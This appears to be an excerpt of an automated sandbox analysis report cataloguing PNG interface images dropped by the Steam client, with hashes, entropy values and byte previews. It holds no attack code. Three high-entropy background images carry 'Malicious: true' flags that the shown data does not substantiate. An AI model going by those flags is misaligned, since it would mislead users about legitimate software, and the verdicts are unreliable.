Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\glyph_input_kb_left.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3106
Entropy (8bit):	7.864888634177675
Encrypted:	false
SSDEEP:
MD5:	ABDB7381CB7B631CB86686058AAB3BA9
SHA1:	D97D5A4C1CF763C38A20376A1745F57DDEA3DB2C
SHA-256:	946E745A93E33DA6479546BA32C4ECE4BA85CC08BDA8786D3636EC842578E69A
SHA-512:	6AFD4076ADF973A43710002B2EA21B91D4C63506A48E77679C62A0B6F971162DCF3E2823396930A8C308E4679DBA167163B4538D8C608EFD8EC87276FB32F2B0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\glyph_input_kb_print.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3185
Entropy (8bit):	7.8735954319461445
Encrypted:	false
SSDEEP:
MD5:	D4A07EB69CBDA6294093C308AFEE20AE
SHA1:	B6D14AD5B8F9CE716B7AE46F99174EA6420EFCFC
SHA-256:	DF6D797BCF88654111E9D77BA8797ACAD6E8504F4CE4DE9FCA134C54A78FC472
SHA-512:	812B2095E90A042465A1546DA33C39BAE1504F1214ED248C2A3AAA6C58E1DF0155A4E59674BF631774428ECDBDA1D2E8C0FF0F031FCBCCC50E6D7CC468C9C144
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\glyph_input_kb_return.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3154
Entropy (8bit):	7.869114061192429
Encrypted:	false
SSDEEP:
MD5:	60A7494D92C97F5863E942C6F8BD5B7C
SHA1:	983EF044B3091AB622F95B7CC7CFD069F5576EAB
SHA-256:	D4FB93DFE94A740ACF584E094F4CCCE52D4BFDAAF70398EC6641E444FB974594
SHA-512:	D85E7E2443C634DE19CFDB0481782561945E5D5610B03AF457C8E249B128C210736C4416D6D2381355B88022276FF1C76F7E74C3DCD1EDDD23C44BAE55A14A33
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\glyph_input_kb_right.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	7.868053011366843
Encrypted:	false
SSDEEP:
MD5:	56E8B082DB81B63A439237F8654CB312
SHA1:	FBAB293961D45CAA3AFBA104BCC315F749BB69CC
SHA-256:	9AC8ADAAC1E8BB8CA9011324FEDC1768946EF7B6AED8E59E84E1CFAAF1D0B596
SHA-512:	A1A39B6744860DA928933C5ABA2C5FFB4033FBAE47A14E9642A68BA9F8B8733E30A8FBC9ED1F97FEB98398782D8F0182F8FA8C1BD977C81B318EB18385746D0C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\glyph_input_kb_scroll_lock.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3390
Entropy (8bit):	7.878752266975335
Encrypted:	false
SSDEEP:
MD5:	4F737CE5B4B714DDCDDDB56B18774BDF
SHA1:	1AF54CCA33DD4057819FB793850FAB321004EE5F
SHA-256:	721A4672FE14217AAFEFA8736D8E0E2AC8428F85E719B90C44F246634471AE41
SHA-512:	DD39A6DD298B196906A5AF15340BBA724FF9482B265D45A867C5CC52BEA19667DA158A2E1F2DD02310CD49EC0975C9C28A5DA347395A823F8F29C052EE54FFBA
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\glyph_input_kb_space.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2982
Entropy (8bit):	7.80799432546568
Encrypted:	false
SSDEEP:
MD5:	AF4AAC81F7AF2DCF756C95D5B009C86C
SHA1:	82DA6991935C6CCFD3A4CE22C9FF7052A61CA1B9
SHA-256:	ABAF9FDEB82AB7C6B4ADB342588ECCC85224B0F8ABFDB834CBB2B92F6AE79D3B
SHA-512:	1BBF56A45F25A86A68750DCD76839513430B47091B891853301778E6127D505F55FE950CE4562E452B8C8B3C193E19472873A2BE6CEBDA701CDDD678FD7EC354
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\glyph_input_kb_tab.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3136
Entropy (8bit):	7.86752776178509
Encrypted:	false
SSDEEP:
MD5:	4BCC20DF472725510C0911C525270AD3
SHA1:	C5F8E24C8F6E6A05E5A0DEF109A6FEC469439C53
SHA-256:	7E43F882E0ED6EABDE13DB08C948443B24FE5DB3C82EEAD062CC0D088521E006
SHA-512:	D342C0A9556FCC79A730FABF779ECFB54C7147296383E600A85683CCF5F195B89F14AEF65201CAD518EE151F9EA1F4A2FCDFE31176DC33785A1C4E0432AFBFB0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\glyph_input_kb_up.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3149
Entropy (8bit):	7.859613934979407
Encrypted:	false
SSDEEP:
MD5:	43267621D65B29D8D77D789771B76777
SHA1:	CFBD72331E48FC08661D777E6463E93F995F008E
SHA-256:	A706F144A5B91B2916820E84CBEB90075079FB4426AD0C555F6F66FF2DDF2080
SHA-512:	34476FAD208A7BE005F1A01542D02229AE8E4ED89889FF9C34525EF48BE0E3144FD62289F30ADE2E3B0F1F9E524F0AF2B95ABEA4D669E41183CEDC30BF2016A4
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\glyph_input_multi.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3210
Entropy (8bit):	7.863310095129002
Encrypted:	false
SSDEEP:
MD5:	3AD877A1D03A3DB6C7DF247C08E8292F
SHA1:	6654AB68A5694010623E7DC61CBEEC88A246CD2B
SHA-256:	F37DED9FE9EBBB552504E2C0D9E8D3C05A2852B8C5DC24630DA0DDA0F3EB8F33
SHA-512:	0DBEB37DB33827414B6EC2A13C567BAEFA0D5CE787F8DB354CD72BFE80D49FE757EF2E1BC5BB1F6B6CACAC45B146FFFD3B932F03948E972A62EE8F4B8A03BFCE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\glyph_input_wrapper_gamepad.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4584
Entropy (8bit):	7.9184386299017655
Encrypted:	false
SSDEEP:
MD5:	497BF0C627D3BC36D1C753ECEF791F44
SHA1:	350BB556BC7E3387CE6DAB9F5FDBA3B3A779A1CB
SHA-256:	4B281CD648C5A83AC33DBC29CAC097E4AC2B8CA523C58451EF5B86821964CAED
SHA-512:	B65812503C5FB5A4786EC52CC91BDC61DF86C66C5CF2C1113578C8AF9B39A8F4A7CCD34E01A44E35DCA5BA684542E9CE04F2DC422E87CC0438F2D00A6A7FA210
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\library_app_details_bg_wash.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1920 x 980, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	304443
Entropy (8bit):	7.9948712235393256
Encrypted:	true
SSDEEP:
MD5:	159E182FC1C9C66A894BC29BE8E09C60
SHA1:	1A586741ADEFE46945A77142222CCBA2C4A90118
SHA-256:	4B72C59958F27FD5894D124A3C3A24345F74A7FBBA346B5BA8138B4E67429E6D
SHA-512:	4070B6EA514D2C20207761FFB27D9135FB4272708CDDDEE7BD4BA8B335159EC505B62D6767105437DEC1E7E6619A932B06F296A04F9D278B4A1A2D61D9BA9C23
Malicious:	true
Reputation:	unknown
Preview:	.PNG........IHDR.............L.$4....tEXtSoftware.Adobe ImageReadyq.e<...fiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:44E5E56D433DE511902187E8485AE4B6" xmpMM:DocumentID="xmp.did:B9F19CC15CDD11E5920EF70660A4BA46" xmpMM:InstanceID="xmp.iid:B9F19CC05CDD11E5920EF70660A4BA46" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8FBACE144F57E51183F79EC455CEF3EA" stRef:documentID="xmp.did:44E5E56D433DE511902187E8485AE4B6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......kIDATx..Y.....+k..........S.2..c..$K..N.*e

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\library_grid_bg_wash.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1879 x 928, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	679436
Entropy (8bit):	7.995177074516374
Encrypted:	true
SSDEEP:
MD5:	DB8AF14DB991F44E8014BF707C89E868
SHA1:	7931253AEF5C93F6BD0A362ADE5B006E48148A1D
SHA-256:	DC9520EEA07B12F2A6FC46A2E774052FB7A23D704B7552A675F8907871CFB7BE
SHA-512:	B05C96271CE0F1FD5A91336A30E7A2416A5D2209C9D83F0479CEBC3136765F96E0BDDD36EE519FFCA5C1F9AFA58840C0FA56E167B822D6EBC96F09785D89EA3A
Malicious:	true
Reputation:	unknown
Preview:	.PNG........IHDR...W.........a.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\mainmenu_bg_2.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1920 x 1080, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	325568
Entropy (8bit):	7.9828517026625265
Encrypted:	false
SSDEEP:
MD5:	DF438A4358C4DCAC1D256F34EA9979DF
SHA1:	6F5D9F7691AC65A84CBFD9570BBDBE402D900D66
SHA-256:	C2D59D83D619F851241BDF3C66651FE9B3F3CFCEA95DEAA45CA0D9B8A665A07F
SHA-512:	306B4ACADF31C2BDAC7C58E149636AE85625F3D1A8130DD3E768598B606269D38A8ADC107FFCE11F338830011133D7A41288FF8B8E52D7E5DC948246EF11456C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......8........C.. .IDATx..}i..(.%..6..=....../<0h...:Y9<[.B`..p.......E]....ku.S)\.k".......A.>..2..\.!m.....B.Q....x.0].\t....U.k.MJ=...?..].4.....+.M.R..7......[?.....u..+y7.u.[/.a..<n.cztm......\..??....C.<u.._...rk.bn.^.iK%......w.vB...............#.6@..wlv.&..G:.!.}.9j%.......U.].5\...k.LG='x.\?.G.0...?....p..g....N....['......\....u....TV.\.Y..._.:.K.x..".&...?...H.fO..l.......q.l.?.h.K..!...2O.-...@L..kc..;.5.s.vha."a.w.<.stZ....k.N.}.f.3/}...{.)E....E..tC.&E.n..../.u.....G(...q.....8.w~-.z.h......u....}.....9..........".1....._q......X.Y.N........(."..,A....Vj..}.l./..p.....vdI.Pp.Q...)...k.?.%...=n .W..._..+Qm.#j;.3:.ZX.U....sb(n...y'.o.Xd".6\|..l...E..[..%..z.IYi..{.4.k...%..>U.i.GC..b.j;.G-.....@..\....8.w..y.+5.G.m'.\|.=..U..P.'<W d..s.9.L..l.%.Wv\|.].#J..M....4h.}_..f.X......:.p..'Vk..+4.y......Z.}.~..G!P.."WoF.$p_...hs....7...D.....e....Mr.91....DT.0.jC........l.o../....s..z.2...hQ.4..........M%4..SV:.G.c...k...sN.*7.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\overlay\overlay_bg_wash.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1879 x 928, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	323731
Entropy (8bit):	7.996343433189045
Encrypted:	true
SSDEEP:
MD5:	F31B2DC7A7AEBCDAE19D6BE4598CD1E5
SHA1:	0FDD723CE9D7A0869CF91EFC40FF8BB78423F6D2
SHA-256:	E0515DE966AF607F901166BEA224479934F1022976A42DAA3F296BC85A525469
SHA-512:	6FF339A454F6261E39B25877B7C398AE0C76FA4347F422563891E8EF6DFFE6E585B7C93DA9C7EDF90E21387D6058FCE75FA944FFC12A6945BA7DD51317196C46
Malicious:	true
Reputation:	unknown
